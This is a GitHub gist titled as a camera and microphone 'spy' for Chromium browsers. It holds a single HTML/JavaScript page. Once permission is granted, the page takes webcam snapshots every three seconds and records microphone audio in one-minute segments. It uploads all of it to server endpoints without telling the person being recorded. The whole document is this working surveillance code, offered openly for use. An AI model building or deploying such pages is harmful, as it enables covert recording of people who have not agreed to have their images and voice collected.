Last active
July 3, 2025 12:17
-
-
Save incogbyte/ad0afb7064ed7fbd8012a7f113de03dd to your computer and use it in GitHub Desktop.
Cam + Mic Capture Demo - Camera and Microphone Spy Chromium Browsers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8" /> | |
<title>Cam + Mic Capture Demo</title> | |
<style> | |
body { font-family: system-ui, sans-serif; padding: 1rem; } | |
#video { max-width: 350px; border-radius: 8px; background: #000; } | |
#controls { margin-top: 1rem; } | |
button { padding: .6rem 1rem; margin-right: .5rem; } | |
</style> | |
</head> | |
<body> | |
<h1>Cam + Mic Capture</h1> | |
<video id="video" autoplay playsinline muted></video> | |
<canvas id="canvas" hidden></canvas> | |
<div id="controls"> | |
<button id="startBtn">Start</button> | |
<button id="stopBtn" disabled>Stop</button> | |
</div> | |
<script type="module"> | |
const video = document.querySelector("#video"); | |
const canvas = document.querySelector("#canvas"); | |
const ctx = canvas.getContext("2d"); | |
const startBtn = document.querySelector("#startBtn"); | |
const stopBtn = document.querySelector("#stopBtn"); | |
let mediaStream = null; | |
let snapshotTimer = null; | |
let audioTimer = null; | |
const SNAP_EVERY_MS = 3_000; | |
const AUDIO_SEG_MS = 60_000; | |
startBtn.onclick = async () => { | |
try { | |
mediaStream = await navigator.mediaDevices.getUserMedia({ | |
video: { width: 640, height: 480 }, | |
audio: true | |
}); | |
video.srcObject = mediaStream; | |
await video.play(); | |
canvas.width = video.videoWidth; | |
canvas.height = video.videoHeight; | |
snapshotTimer = setInterval(takeSnapshot, SNAP_EVERY_MS); | |
recordAudioSegment(); | |
audioTimer = setInterval(recordAudioSegment, AUDIO_SEG_MS); | |
startBtn.disabled = true; | |
stopBtn.disabled = false; | |
} catch (err) { | |
console.error("Permission denied or no device:", err); | |
alert("Camera/microphone unavailable."); | |
} | |
}; | |
stopBtn.onclick = stopAll; | |
window.addEventListener("beforeunload", stopAll); | |
function stopAll() { | |
startBtn.disabled = false; | |
stopBtn.disabled = true; | |
if (snapshotTimer) clearInterval(snapshotTimer); | |
if (audioTimer) clearInterval(audioTimer); | |
mediaStream?.getTracks().forEach(t => t.stop()); | |
mediaStream = null; | |
} | |
async function takeSnapshot() { | |
ctx.drawImage(video, 0, 0, canvas.width, canvas.height); | |
const blob = await new Promise(res => canvas.toBlob(res, "image/webp", 0.8)); | |
const filename = `img-${Date.now()}.webp`; | |
uploadBlob("/upload.php", blob, filename, "image"); | |
} | |
function recordAudioSegment() { | |
const audioTracks = mediaStream?.getAudioTracks(); | |
if (!audioTracks?.length) return; | |
const audioStream = new MediaStream(audioTracks); // clone | |
const recOpts = { mimeType: "audio/webm;codecs=opus" }; | |
if (!MediaRecorder.isTypeSupported(recOpts.mimeType)) delete recOpts.mimeType; | |
const recorder = new MediaRecorder(audioStream, recOpts); | |
const chunks = []; | |
recorder.ondataavailable = ev => ev.data.size && chunks.push(ev.data); | |
recorder.onstop = () => { | |
const blob = new Blob(chunks, { type: chunks[0]?.type || "audio/webm" }); | |
const filename = `mic-${Date.now()}.webm`; | |
uploadBlob("/upload-mic.php", blob, filename, "audio"); | |
}; | |
recorder.start(); | |
setTimeout(() => recorder.state !== "inactive" && recorder.stop(), AUDIO_SEG_MS); | |
} | |
async function uploadBlob(url, blob, filename, field) { | |
const ctrl = new AbortController(); | |
const timer = setTimeout(() => ctrl.abort(), 15_000); // auto-kill if slow | |
const fd = new FormData(); | |
fd.append(field, blob, filename); | |
try { | |
const r = await fetch(url, { method: "POST", body: fd, signal: ctrl.signal }); | |
if (!r.ok) throw new Error("HTTP " + r.status); | |
} catch (err) { | |
console.error("Upload failed:", err); | |
} finally { | |
clearTimeout(timer); | |
} | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment